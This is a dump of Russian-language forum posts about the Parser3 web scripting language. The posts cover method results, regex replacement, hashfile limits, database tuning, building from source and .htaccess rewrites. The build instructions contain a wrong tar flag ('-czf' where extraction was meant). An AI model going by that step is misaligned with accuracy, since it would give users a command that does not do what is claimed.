"77596","$order и впрямь содержал таблицу вместо содержимого ячейки таблицы. И все из-за опечатки..."
"77597","[quote]Идеальный вариант - детектировать обращение к $result на этапе компиляции.[/quote]\
\
э-э-э, а как?"
"77598","По хорошему, в случае ошибки $result должен вернуться тоже, например с отрицательным значением, чтобы тот кто вызвал увидел, что произошла ошибка.\
Ну и в глобальном хеше ошибок смотреть какая ).\
Я бы вообще сделал\
после \
$exception.handled(1)\
$result[не правильный формат даты]\
На то это и отлов ошибок."
"77599","Он правильный, просто дата не указана. 0000-00-00 берется уже из mysql, т.к. такая там дата по умолчанию. try тут нужен только по той простой причине, что парсер на такой \"дате\" падает, но логически ситуация не ошибочная. Возращать надо пустой $result[] а не ошибку в данном случае, причем сделать это можно множеством способов.\
\
Но вообще я не про то..."
"77600","Мне тоже, как и Мише, кажется что на этапе компиляции это нереально.\
\
А нельзя сделать флажок в конфигурационном auto.p который выключал бы эту оптимизацию? Просто если выбирать между необходимостью перелопачивания всего кода (или трудноотлавливаемыми ошибками) и потерей нескольких процентов производительности - лично я бы выбрал второе, парсер и так очень и очень шустр..."
"77601","Достаточно добавить в начало метода $result[] — это абсолютно нормальная практика, которая кроме гарантии правильного результата еще и делает код более читаемым."
"77602","В данном случае - да, я про него писал в первом посте. Но он не подходит для многих случаев, без внимательного анализа всего метода влепить $result[] в начало - нельзя"
"77603","Я не представляю себе такого метода в котором указание $result[] в начале приведет к проблемам. При условии, что где-то внутри метода есть явное присвоение результата."
"77604","упрощенно, в этих двух случаях $result[] в начало поставить нельзя, без анализа вот этого \"много много кода\"\
\
[code]@m1[]\
^if(condition){\
	много много кода без $result \
}{\
	много много кода c $result \
}\
[/code]\
Ну и там где $result вообще не используется\
\
[code]@m2[]\
^if(condition){\
	много много кода без $result \
}{\
	много много кода без $result \
}[/code]\
\
UPD ну и прочие подобные конструкции, разумеется\
\
[code]@m3[]\
^switch[$var]{\
	^case[a;b;c]{value1}\
	^case[DEFAULT]{$result[value_default]}\
}[/code]"
"77605","... а второй вообще к проблеме не относится. :) [Я понимаю, что явного запрета в доке нет.]\
\
Т.е. лучше писать так, чтобы смешивания кусков кода с result и без result не было (так с версии 3.4.0, т.е. уже три года как :). Тем не менее Моко уже написал, что они с Мишей доку подправят и внесут изменения в код, чтобы сделать эту ситуацию более прозрачной... И работа уже идет."
"77606","понятно, что с точки зрения \"новой\" версии они ошибочные.\
собственно проблема в том, чтобы найти все подобные ошибки, которые раньше не были ошибками и исправить их.\
\
речь как раз и идёт о том, что автоматом это сделать невозможно. надо анализировать код, и это плохо."
"77607","Второй тоже относится. Потому что влепить $result[] в начало - нельзя, но чтобы это понять - надо просмотреть весь метод целиком. Но правда полегче, т.к. просто проверить что result нигде не определен легче, чем изучить всю логику метода, как в двух других случаях"
"77608","Есть ли возможность использовать регулярные выражения в String Replace?\
Или как можно проводить замену как в Replace, используя RegExp шаблоны?"
"77609","Как сделать ^таблица.save[] с особой кодировкой или хотя бы создавать таблицу с особой кодировкой?\
В опциях формата файла есть только $.separator[] и $.encloser[], а про $.charset[] ничего нет."
"77610","Если нет возможности переписать старый код, то остается откатиться на более ранние версии Парсера. Ну и вводить некий глобальный флаг, который бы ухудшал характеристики производительности языка точно не стоит. Оптимальным вариантом является то, что предложил Костя — на уровне языка компилятора постараться отловить все потенциально-некорректные куски кода и выбрать оптимальную стратегию обработки таких случаев.\
\
А вот ввести флаг STRICT-RESULT, который будет выдавать parser.compile в тех случаях, когда программист слишком вольно обходится с result'ами можно. :)"
"77611","Если использование таблицы, то можно написать свой метод обертку.\
Если просто замену, используйте что-то вроде\
[code]\
^str.match[(\\*)?(test)(\\*)?][g]{$match.1$replaseto$match.3} \
[/code]\
На 100% правильность не претендую."
"77612","Если надо сделать пачку замен, то выполнять ее последовательно."
"77613","Либо сохранить на диск. скнова прочитать через file:Ждщфв и сохранить на диск через file.save. Но лучше чему-нибудь снаружи, чтобы не думать о нормализации переносов строк на разных системах."
"77616","Как раз-таки с match раньше и делал и мне написали, что быстрее будет замена с replace. Теперь придется обратно возвращаться к такому виду?\
[code]$s[бла бла бла]\
$sValue[^s.match[шило][g]{мыло}]\
$sValue2[^sValue.match[шило][g]{мыло}]\
$sValue3[^sValue2.match[шило][g]{мыло}]\
. . .[/code]\
И там может быть пол сотни таких строк."
"77618","Есть текст, в котором нужно менять символ \";\" на \",\", например.\
Множество подобных замен легче делать с replace.\
НО еще также надо в этом тексте заменять переносы строк на пробелы, а это уже лучше регулярным выражением делать, мне кажется."
"77619","Для этого :)\
http://www.parser.ru/forum/?id=77618"
"77620","Только не забудьте, что операции со строками могут сожрать память очень быстро и за ней надо следить, делать компакты, разумно использовать промежуточные переменные (в вашем случае sValue1, sValue2 и т.д. не нужны), третьим параметром матча передавать строку, а не код (где это возмжно), в регэкспах аккуратно использовать круглые скобки и т.п."
"77622","я имею в виду флаг по типу явного декларирования переменной result.\
\
чтобы без него всё работало как раньше."
"77623","хак:\
1. сохраняете текущее значение $request:charset в переменную\
2. меняете значение $request:charset на то, что вам надо\
3. сохраняете\
4. восстанавливаете значение $request:charset\
:)"
"77624","Хорошее решение, но уже обошелся средствами строки, вместо таблицы. :)"
"77625","если вы решили ручками сформировать строку, а потом сохранить её -- то это более рессурсоёмко чем предлагаемый хак."
"77626","…в момент пока кодировка поменяна произойдут действия на других страницах сайта, то все превратится в кракозябры?"
"77627","по моему вы не очень поняли, что написали :)\
\
нет, другие процессы не пострадают.\
главное чтобы в этом процессе между сменами request:charset вы вдруг не стали чего-нить ещё делать."
"77628","[quote]\
в вашем варианте реплейс явно быстрее будет\
[/quote]\
\
а вы попробуйте :)\
простой match работает очень даже быстро. до 3.4.2 он иногда даже выигрывал у replace-а (я мерял). в 3.4.2 малость пооптимизировали это место, но после этого match отстаёт совсем не \"в разы\".\
\
replace удобнее (запись компактнее), когда надо найти и заменить много разных пар."
"77630","Код изначально был очень большой, минимизировал всё что мог, поэтому сам код может казаться бессмысленным.\
\
[code]@main[]\
test\
$t[^table::create{id\
^for[j](0;28){1^#0A} 	\
}]\
^rem{если меньше 28 - ошибок нет вообще никаких, 28 - Unhandled exception 0xC0000005 at 0x0045AA3E, 29 - \"Please contact the application's support team for more information\", далее неясная последовательность этих двух ошибок}\
\
\
\
^print[]\
\
\
@print[pid;level]\
^if(!$level){$level(0)}\
$shift[^for[i](0;$level){$shift&nbsp^;}] ^rem{без этой строки ошибок тоже нет никаких}\
#$shift[^for[i](0;10){$shift&nbsp^;}] 	^rem{если раскомментировать - ловим в лог апача \"This application has requested the Runtime to terminate it in an unusual way\" вне зависимости от всего остального, кроме 29}\
\
\
^if(!def $pid){\
	^t.menu{\
		^print[$t.id]($level+1) ^rem{Unhandled exception 0xC0000005 at 0x0045AA1D}\
#		^print[$t.id;$level+1]	^rem{Unhandled exception 0xC0000005 at 0x0045AA3E}\
	}\
}\
[/code]\
\
вообще много разных сочетаний всяких, даже на дополнение кода еще строкой с rem меняется картина (но новых вариантов ошибок не появляется).\
\
Win2003 x64 + parser 3.4.2"
"77631","Переполнение вызывает вот эта строка:\
$shift[^for[i](0;$level){$shift&nbsp^;}]\
\
Длина этой строки фактически получается 2^t.count[]. Вот и считайте, сколько там на выходе:-) Как в классической задаче о зёрнах на шахматной доске.\
Сам код надо тщательно оптимизировать, неинформативное падение парсера тут не причём. Но это уже к разработчикам."
"77633","Правда странно что в версии 3.3.0 этот код работает."
"77634","Хочется отлавливать регулярным выражением все символы пунктуации. Т.е. не только те, что на клавиатуре видны, а еще и любые типографические, типа —…–»« и т.д.\
Может есть какая-нибудь ^s.match[[b]escape-последовательность[/b]][g] специально для такой цели?"
"77635","может отлавливать все что не буквы и цифры?\
[code]^s.match[[^^\\w]][g]{...}[/code]\
\
в \\w еще подстрочник входит, если он тоже лишний, то \
\
[code]^s.match[[^^a-zа-яё0-9]][gi]{...}[/code]"
"77637","Я на bhost по вашим рекомендациям, пользуюсь их предустановленным парсером.\
\
Сейчас понадобилась работа парсера с удаленным постгресом; местный гуглинг показал, что могут потребоваться дополнительные телодвижения. Но на http://www.parser.ru/download/ и http://www.parser.ru/download/beta/ ничего про постгрес нет :). Куда копать?"
"77638","Но т.к. постгрес не особо популярен в широких кругах, в разделе \"скачать\" собранного драйвера не лежит.\
Надо его собирать \"руками\" из исходников. Не знаю, поможет ли вам с этой задачей хостер или нет.\
На каком сервере стоит база не имеет значения -- соединение с ней идёт по сети. В постгресе лишь должна быть разрешена возможность подключения извне."
"77639","Пардон за назойливость, драйвер чего? :-)\
\
Сервера же? В описании моего тарифа http://www.bhost.ru/price/unix_plan.html?name=prof указано \"неограниченное кол-во постгрес-баз\" - значит ли это, что всё уже путём?\
\
Или речь о некоей доп. приблуде для парсера?"
"77640","Базы по тарифу -- это сам постгрес с базами, а чтобы к нему подключиться, нужен драйвер.\
В разделе скачать есть \"SQL драйвер для MySQL\", вот нужно такое же, но для постгреса.\
\
Кстати, не заметил, что для старой версии парсера (3.4.1) драйвер-таки есть:\
parser3sql_10_3_debian5_pgsql.tar.gz (18.11.2009  35,5 КБ\
и\
parser3sql_10_3_debian5x64_pgsql.tar.gz (18.11.2009  38,1 КБ) \
\
Но если используете 3.4.2, то нужен новый драйвер. Теоретически, и старый может подойти, но насчёт совместимости не помню, надо проверять.\
\
Ещё можно попросить разработчиков парсера собрать этот драйвер и выложить в раздел:-)"
"77644","Хотя такая конструкция почему-то не работает:\
[code]$s[^str.match[\\p{P}|\\p{S}][g]{}][/code]\
Здесь я хотел, чтобы символы пунктуации и арифметические символы заменялись на пустое место."
"77645","... но у меня и ^s.match[\\p{P}|\\p{S}][g][] работает."
"77646","Есть у кого-нибудь parser для хостинга timeweb.ru?"
"77647","Есть две базы данных с идентичными таблицами и столбцами в них, но разным наполнением.\
Ну, например, БД \"фрукты\" со столбцами форма-вес-цвет.\
И такая ж БД \"овощи\".\
\
Задача: выбрать из разных баз всё круглое и сортировать его по весу.\
\
Какие возможности парсера предоставят возможность сложить три базы в единую таблицу, с которой можно будет оперировать дальше - сортировать, сопоставлять и выводить строки и ячейки? (да еще и добавив столбец \"тип\" по источнику данных)? Куда копать?\
\
Возможно ли это средствами парсера?"
"77648","На форуме бфло обсуждение некоторых моментов сборки Парсера для timeweb — http://www.parser.ru/forum/?id=75891"
"77649","... и копать надо в сторону языка SQL — информации в интернете масса. Если только начинаете работать с СУБД, то почитайте хорошую книгу [url=http://www.books.ru/books/izuchaem-sql-fail-pdf-614059/?show=1]Алана Бюли «Изучаем SQL»[/url]."
"77650","Да пробовал - не работает. Как мне сказали в тех поддержке нужно собирать самому - но я не умею. Теперь вопрос - как собрать парсер из исходных кодов? Док на сайте читал - ничего не понял."
"77652","скачайте исходный код на сервер и запустить \
buildall-with-xml или buildall-without-xml"
"77653","Я так понимаю, что без ssh я этого не сделаю?"
"77655","Что-то не получается, я с командной строкой линукса впервые сталкиваюсь. Закачал исходники на сервер. Теперь просто выполнить команду buildall-with-xml, да?"
"77656","-bash: parser3/buildall: /bin/sh^M: bad interpreter: No such file or directory\
вот что выдает"
"77657","Судя по ошибке, у вас получились Windows переносы строк.\
Правильная последовательность команд (уже есть в документации, но не выложено на сайт):\
\
cd ~\
mkdir parser3project\
cd parser3project\
wget http://www.parser.ru/f/1/download/src/parser-3.4.2.tar.gz\
tar -czf parser-3.4.2.tar.gz\
mv parser-3.4.2 parser3\
cd parser3\
./buildall-with-xml"
"77667","Гугл [url=\"http://parser.groundzero.ru/488/73143/1/\"]выдал пример[/url],\
[code]$price(300000)\
^price.match[\\B(\\d{3})+^$][g]{&nbsp^;$match.1} руб.[/code]\
но в нем число перепутано с переменной, а с переменной пример работает лишь при этом числе разрядов.\
\
А должно работать от 1 000 до 1 000 000. Что делать? Доки перерыл, формат шаблона яснее не стал.\
\
Не проблема посчитать длину числа и сделать несколько шаблонов через ифы, но как задать верный формат для другого кол-ва разрядов?\
\
(И что-то подсказывает, что должно быть более изящное решение такой простой задачи: идти справа налево и раз в три знака вставлять &nbsp;, пока строка не кончится.)"
"77668","http://parser.groundzero.ru/488/73143/#73144"
"77669","[code]@numberFormat[dNumber;hParam][sNumber;iFracLength;iTriadCount;tPart;sIntegerPart;sMantissa;sNumberOut;tIncomplTriad;iZeroCount;sZero;sThousandDivider;iIncomplTriadLength]\
$hParam[^hash::create[$hParam]]\
$sNumber[$dNumber]\
$tPart[^sNumber.split[.][lh]]\
$sIntegerPart[^eval(^math:abs($tPart.0))[%.0f]]\
$sMantissa[$tPart.1]\
$iFracLength(^hParam.iFracLength.int(^sMantissa.length[]))\
$sThousandDivider[^if(def $hParam.sThousandDivider){$hParam.sThousandDivider}{&nbsp^;}]\
\
^if(^sIntegerPart.length[] > 4){\
	$iIncomplTriadLength(^sIntegerPart.length[] % 3)\
	^if($iIncomplTriadLength){\
		$tIncomplTriad[^sIntegerPart.match[^^(\\d{$iIncomplTriadLength})(\\d*)]]\
		$sNumberOut[$tIncomplTriad.1]\
		$sIntegerPart[$tIncomplTriad.2]\
		$iTriadCount(1)\
	}{\
		$sNumberOut[]\
		$iTriadCount(0)\
	}\
	$sNumberOut[$sNumberOut^sIntegerPart.match[(\\d{3})][g]{^if($iTriadCount){$sThousandDivider}$match.1^iTriadCount.inc(1)}]\
}{\
	$sNumberOut[$sIntegerPart]\
}\
\
$result[^if($dNumber < 0){-}$sNumberOut^if($iFracLength > 0){^if(def $hParam.sDecimalDivider){$hParam.sDecimalDivider}{,}^sMantissa.left($iFracLength)$iZeroCount($iFracLength-^if(def $sMantissa)(^sMantissa.length[])(0))^if($iZeroCount > 0){$sZero[0]^sZero.format[%0${iZeroCount}d]}}][/code]\
\
Может, кто писал что для частных задач?\
\
В моем случае нет ни дробей, ни отрицательных чисел."
"77670","Например, вот:\
http://www.parser.ru/forum/?id=70117\
Есть, наверное, и другие варианты.\
\
Если у вас этот метод много раз вызывается на одной странице, то правильнее будет \"закешировать\" эту регулярку -- создать объект класса Regex."
"77671","Есть некая форма.\
[code]^if(def $form:submit){\
$cookie:metal[$form:metal]\
$cookie:stone[$form:stone]\
$cookie:price[$form:price]\
$response:refresh\
}\
[/code]\
По задумке, при сабмите должна произойти перезагрузка страницы, причем в поля формы подставляются данные из куков. Они же работают на контент страницы в другом месте.\
\
Рефреш происходит, но данные никуда не подставляются. Если, ничего не меняя, нажать сабмит повторно - перегрузится еще раз, и вот тогда будет всё окей.\
\
Пока методом тыка пришел к идиотской комбинации \
[code]$response:location[./]\
$response:refresh[/code]\
вот прям подряд. Так всё работает, но бред же! Если вместо location подставить тупо второй рефреш, работать не будет, а вот если еще и третий - вот тогда ня.\
\
Куда копать, чтобы рефрешилось нормально с первого раза?"
"77672","[code]$response:location[./?^math:uid64[]][/code]\
:)\
\
P.S. что вы хотите сказать с помощью конструкции \"$response:refresh\"? это вообще-то вывод в тело страницы того, что сейчас есть в заголовке ответа refresh. если вы туда ничего не записали -- там ничего нет. вы точно не хотите указать куда делать refresh, типа так: $response:refresh[./]?"
"77673","Спасибо. В настолько глубоко технологических материях я полный валенок :-).\
\
Конструкцией $response:refresh я имел в виду перезагрузку текущего файла - аналогично f5 на стороне пользователя. Под location я понимал переход на другой файл html с обязательным указанем, на какой именно, - в данном случае, на этот самый index.html. Отсюда и растерянность от того, что непонятного с пустым рефрешем :)."
"77674","[quote]В настолько глубоко технологических материях я полный валенок[/quote]\
\
что за бред?\
с первых уроков парсера объясняется, что:\
$переменная[значение] -- запись значения в переменную\
$переменная -- вывод значения переменной\
\
также объясняется, что такое $класс:переменная.\
\
что такое $response:поле -- тоже описано. более того, в документации как раз пример с $response:refresh[значение] есть."
"77675","5 тарелки, 21 тарелок, 3 тарелка и наоборот.\
\
Как это называется?"
"77676","http://www.parser.ru/examples/decline/"
"77677","Каждый раз спотыкаюсь об это.\
\
Известна переменная $vot[abc]\
\
Каким образом с ее помощью получить команду [b]$cookie:abc[123][/b]? $cookie:$vot - нет. $cookie:{$vot} - нет. \
\
$dablin[cookie^:$vot]\
^process^{^$$dablin} - и то нет :(.\
\
Как?!"
"77682","Но если надо именно на парсере, тогда вам надо джойнить таблицы\
Как то так http://www.parser.ru/docs/lang/?tablejoin.htm"
"77683","А у меня где-то еще есть решение даже на 2м парсере =)\
Правда это уже тема старого форума"
"77686","Добрый день!\
Недавно открыл для себя hashfile, а было так, что 'упёрся' в производительность на VPS при использовании MySQL на простой операции - преобразование бессмысленного для посетителя sha1 хеша во вполне правильный URL для редиректа. Типа так:\
hash1 -> url1\
...\
hashn -> urln\
Длина ключа как-то не очень помогала, а sha1 вид ключей для url - историческое наследие. Пробовал кодировать 160 бит в три BIGINT и делать их первичным ключом - помогло слабо, всё равно было около секунды на операцию.\
\
Тут-то и пришел на помощь hashfile, прирост в скорости был более 20 раз! \
Недолго музыка играла - проект обновился и элементов стало ок. 6 млн. Бэкэнд на Win32, на нём всё считалось и потом копировалось с молниеносным переименованием на фронт. Средний размер записи -  40 байт хеш + 86 байт url = 126 байт без накладных расходов.\
\
Проблема в следующем - при количестве ключей около 4,5 млн. наступает unhandled exception, с выдачей окошка gc, что в heap ничего не осталось. Понял, что зараз нельзя вгонять и таблицу и хеш в пямять, писал так - \"загрузить таблицу с диска, в menu пробежаться по всем элементам, и если нет в hashfile - то добавить, по окончанию освободить hashfile\". Памяти при этом кушалось около 800мб. и всё умирало.\
\
Решил вопрос записи следующим образом - грузил и писал по 500 000 записей, получилось очень быстро, 3 минуты и готово.\
\
Но есть вопросы:\
1. Можно ли как-то ещё быстро и не так криво загрузить большой hashfile? \
\
2. Что делать когда захочется обратно всё ключи достать? Ведь при foreach вылетает такая же ошибка, т. е. моё решение \"в один конец\" если что с основной базой - только восстановление из бэкапа, hashfile непригоден для массового доставания из него данных, по ссылочке - это супер, спасибо авторам. Конечно, тут возможно amd64 поможет или x64 если под винды (а будет ли когда?), кто-нибудь сталкивался с таким вопросом?\
\
3. Какой вообще предел по количеству записей? 10млн? 100млн? Что мне ждать такому довольному перфекционисту в будущем?\
\
Спасибо!"
"77688","Hashfile уж точно не предназначен для таких объёмов.\
Да, у него быстрый индекс, но сами видите, что обработать его весь (а иногда это нужно) нормально не получается.\
При активном его использовании на чтение и запись, могут начаться dead-локи или просто тормоза. Особенно на VPS, где жёсткий диск -- одно из критичных мест производительности.\
\
Всё-таки стоит разобраться с БД, понять, почему так тормозят запросы в ней. Можно посмотреть в сторону NoSQL. В последнем парсере появилась работа с очень шустрым memcached. Если не жалко оперативки, то вариант.\
\
Так же имеет смысл подумать над архитектурой: что именно кешировать. Можно держать все данные в базе, а часто используемые писать в кеш (hashfile/memcached) с не бесконечным ttl, чтобы само чистилось."
"77689","— Разложить урлы по шардам, например, сделать 16 таблиц, номер которой определять по последнему символу sha1-хеша.\
— Таблички, лучше иннодбешные. Тюним буфер-пул, т.е. даем по максимуму памяти для него.\
— Поле с хешем делаем типа binary(20), чтобы база не тратила время на колейшны.\
— В табличках сделать первичный ключ числовым (автоинкремент по беззнаковому инту), и построить отдельный индекс, но только по первым 4 символам поля с хешем (create index part_of_hash on hash_col(4)). Это позволит значительно уменьшить индекс и ускорить поиск данных. [В сочетании с бинари-типом это может серьезно помочь и без шардинга.]\
— Если хочется читать как одну таблицу, то делаем вьюху из 16 юнионов, а обновление запихнуть в тригер или разруливать уже в парсеровском коде."
"77690","Такие танцы с бубном в простой задаче.\
Сейчас в PostgeSQL нагенерил одну таблицу с 5 млн. записей как у автора:\
выборка по индексированному полю с sha 0.050-0.100 ms, т.е. ничтожное."
"77691","У меня из таблицы с сотнями миллионами записей выборка быстро идет. Правда после прогрева кей кеша в майисаме или буферов в иннодб. Но у автора впс на котором может быть деградация производительности из-за виртуализации дисков."
"77692","Это я без кеша время показал. Explain по сути.\
И это с полным индексом, который точно не влезает в память (весит почти 400+ мб на 5 млн. записей).\
\
Тогда это перманентно-тормозной VPS, с которого надо сползать. Я проверял тоже на VPS. Уверен, что дело не в нём."
"77693","Спасибо за советы, некоторые очевидные вещи как-то вылетели у меня из головы.\
Я немного расскажу про конфигурацию сервера VPS и цифры приведу.\
512RAM/HDD-40GB\
\
MySQL занимает около 200мб. Своп FreeBSD почти не использует, разве что из любви к искусству, вот только дашь ей такую возможность - что-то запишет, хозяйственная такая ОС.:)\
\
Основное назначение сервера - быстро отдавать текст + картинки и немного искать Sphinx и иногда переходить по ссылкам вне сайта, к коим и был применён механизм хеширования ссылок. Запись нечаста - несколько тысяч записей в сутки, распределено равномерно по классической \"шляпе\" посещений сайтов.\
\
Сначала я добавил в лог время генерации страницы в nginx, удивился тормозам и переделал базу, каждая 2,5 млн страниц теперь выдаются за 2 запроса к базе и максимум за 0.100 сек., обычно 0.060-0.080 сек.\
\
На этом фоне примитивная выдача ссылки за 1-1.5 сек считалась просто издевательством и hashfile очень помогает - вот кусок лога:\
[code]178.177.158.206 [b]0.077[/b] - [25/Oct/2012:08:58:16 +0400] \"GET /link/6eb25581236637e826d257d7dbfa4d07b1a87c7b HTTP/1.1\" 302 ...\
[/code]\
это средний вариант, есть ещё и такой:\
[code]212.19.5.140 [b]0.009[/b] - [25/Oct/2012:09:52:09 +0400] \"GET /link/04097d11ad0c79dc99faee48c2f95dc23da4bc77 HTTP/1.0\" 302 ...\
[/code]\
Тут вступает в игру кеширование nginx (302 ответ на 20 минут) и дальше оттачивать просто бессмысленно. То есть сервер от популярной ссылки защищён замечательно - хватило бы канала...\
\
Пока это сильно лучше любого решения на SQL, это полное время, с запуском Parser-а и коротенькой записью в статистику переходов (тут конечно MySQL, головой понимаю, что hashfile погрязнет в локах).\
\
Быстрый сайт нравится роботам, Google ходит 5-8 раз в секунду, Yandex - примено 1-3 раза в секунду. Живые пользователи тоже есть, до 100+ одновременных доходило в Google Analytics. Ещё Sphinx (весь задушенный throttle) каждые несколько часов переиндексирует эти разрастающиеся 2,5 млн. страниц...\
\
Цифры выше взяты в среднее время, когда совсем тяжко (см. выше) - 0.5-0.9 сек на ответ. Считаю, это хорошо.\
\
Хвастаться окончил, разрешите идти!\
\
Если вдруг я буду испытывать проблемы с производительностью и придётся снова перейти на <что-то>SQL сделаю следующее примерно в таком порядке:\
1. Захеширую таблицы, 16 шт. сделаю и поле binary с коротким индексом приделаю (tnx Sumo)\
2. Добавлю наконец памяти и сделаю этим кеш индексов менее вымываемым, ведь я не только ссылки редиректю..\
3. Перееду на выделенный сервер (tnx Vint)\
4. Поставлю SSD и индексы на него перенесу.\
5. Сделаю кластер из п.4 и уеду к пальмам, подальше от цивилизованных соблазнов, ибо разумных и безопасных применений таким заработанным деньгам не найду. :-D\
\
Спасибо!"
"77694","В целом ситуация понятна.\
Но всё равно мне очень не нравится время генерации страниц. Виной тому, скорее всего, база, учитывая, что в основном всего 2 запроса.\
Особенно 1-1.5с на выборку ссылки. Надо с этим разобраться.\
Как LA у сервера в нормальном рабочем режиме со средней нагрузкой? Если это проблема диска под виртуализацией, то из-за высокого IO-wait весь сервер может тупить постоянно.\
Надо погонять диск тестами на скорость чтения/запили/случайный доступ, возможно, пообщаться с хостером на эту тему. Могут оказаться злые соседи по ноде.\
\
На активно-посещаемом сайте стоит посмотреть в сторону парсера в виде модуля апача. У него есть несколько особенностей относительно cgi, о которых надо знать. Зато, каждый раз не считывается бинарник с диска, который на проблемном сервере может быть совсем не в кеше."
"77695","... а саму ссылку доставать из БД по числовому первичному ключу. В некоторых случаях это гораздо быстрее, чем запрос в БД по строкам."
"77696","Тем более что я с ним по SQL протоколу общаюсь..."
"77697","В 200 Мб разве всё втянуть бедному MySQL?\
\
Прочий функционал затестирован siege со списком случайных URL о 50 тысячах, есть устойчивость при 300 одновременных коннектах (100% запросов), обслуживает примерно 260 запросов в секунду. Потому что индекс помещается! ;)\
\
А индекс почти 6 млн. ссылок - нет. sha1 некомпактный сам по себе."
"77698","$form:partpay $sum($form:partpay) $sum\
выводит 20256.96 20257\
почему округляет?"
"77700","Арендуйте нормальный vds и перестаньте заниматься чрезмерной оптимизацией.\
\
У вас за 512 мегабайт борятся система, майсиквел и прожорливый парсер.\
Хешфайл лучше выкинуть, сэкономив дисковых операций - вы же с этого сервера ещё и статику раздаёте."
"77704","Если ты понимаешь о чем я. :)))"
"77715","А внутри 302 редирект.\
Типа SEO.\
Можно так сказать - \"корпоративная уравниловка\" URL-лов. :)"
"77716","учтите, что известны случаи санкций со стороны поисковых систем за массированное неоправданное использование временных редиректов."
"77717","О своем мнении роботы известят, за ними не задержится."
"77718","Используя 302 вы вынуждаете пауков постоянно проверять исходный адрес, что лишняя работа.\
Плюс неясно каким образом перенаправления со статусом 302 вам помогает в поисковой оптимизации.\
Статический вес не передаётся, по ЧПУ делаете редирект.\
\
Если уж ориентироваться на SEO, то делать нормальные адреса, а не «сокращалку» с временными перенаправлениями.\
Но это я так, в сторону."
"77723","Задача: создание сайтов на базе студийной CMS.\
Требования: Parser, MySQL, JavaScript.\
Оплата: сдельная.\
Связь: rus@dvk-online.com"
"77724","Есть сайт http://karmanoff.ru/index2\
\
перенес его на новый хостинг \
парсер вроде работает!\
http://uaeproperty.ae/cgi-bin/parser/parser3.cgi\
\
но вижу вот это!\
http://uaeproperty.ae/index2\
\
и пробовал на на денвере собирать и точно такая же ошибка!\
\
В логах никаких ошибок!\
Помогите разобраться!"
"77726","Action parsed-html /cgi-bin/parser/parser3.cgi	\
AddHandler parsed-html .shtml .p .html\
\
#<Files ~ \"\\.(p|cfg)$\">\
#Order allow,deny\
#Deny from all\
#</Files>\
\
#CharsetDisable On\
\
RewriteEngine on\
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]\
..."
"77727","Вот есть!\
.htaccess\
Action parsed-html /cgi-bin/parser/parser3.cgi	\
AddHandler parsed-html .shtml .p .html"
"77728","- то, что файл .htaccess присутствует, не означает что он обрабатывается.\
- index2 -- документ без расширения. где указано, что парсер должен его обрабатывать? (для проверки переименуйте его в index2.html)\
\
P.S. ещё может быть полезно ознакомиться с [URL=/faq/install/]FAQ[/URL]"
"77729","RewriteEngine on\
\
RewriteRule   ^index2$  /parser/page.p?templatename=template1.shtml [QSA]\
\
и тут работает http://karmanoff.ru/index2"
"77730","Отключил RewriteRule ^index2$ /parser/page.p?templatename=template1.shtml [QSA]\
\
так работает!\
http://uaeproperty.ae/templates/template1.shtml \
\
значит ошибка в перенаправлении, только где ?"
"77731","http://uaeproperty.ae/parser/page.p?templatename=template1.shtml -- не работает\
т.е. рерайт происходит корректно, а дальше -- увы\
\
разбирайтесь, почему на .p обработчик не назначен (в /parser есть свой .htaccess? попробуйте создать /test.p с ^eval(2+2) и обратиться к нему из браузера)"
"77732","в /parser .htaccess нет\
Все ОК test.p работает\
\
вот мой .htaccess\
\
AddHandler parsed-html .shtml .p\
Action parsed-html /cgi-bin/parser/parser3.cgi	\
\
\
RewriteEngine on\
RewriteCond %{HTTP_USER_AGENT} acs [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} alav [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} alca [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} amoi [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} audi [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} aste [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} avan [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} benq [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} bird [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} blac [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} blaz [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} brew [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} cell [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} cldc [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} cmd- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} dang [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} doco [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} eric [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} hipt [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} inno [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} ipaq [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} java [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} jigs [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} kddi [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} keji [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} leno [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} lg-c [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} lg-d [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} lg-g [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} lge- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} maui [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} maxo [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} midp [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} mits [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} mmef [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} mobi [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} mot- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} moto [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} mwbp [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} nec- [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} newt [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} noki [NC,OR]\
RewriteCond %{HTTP_USER_AGENT} opwv [NC,OR]\
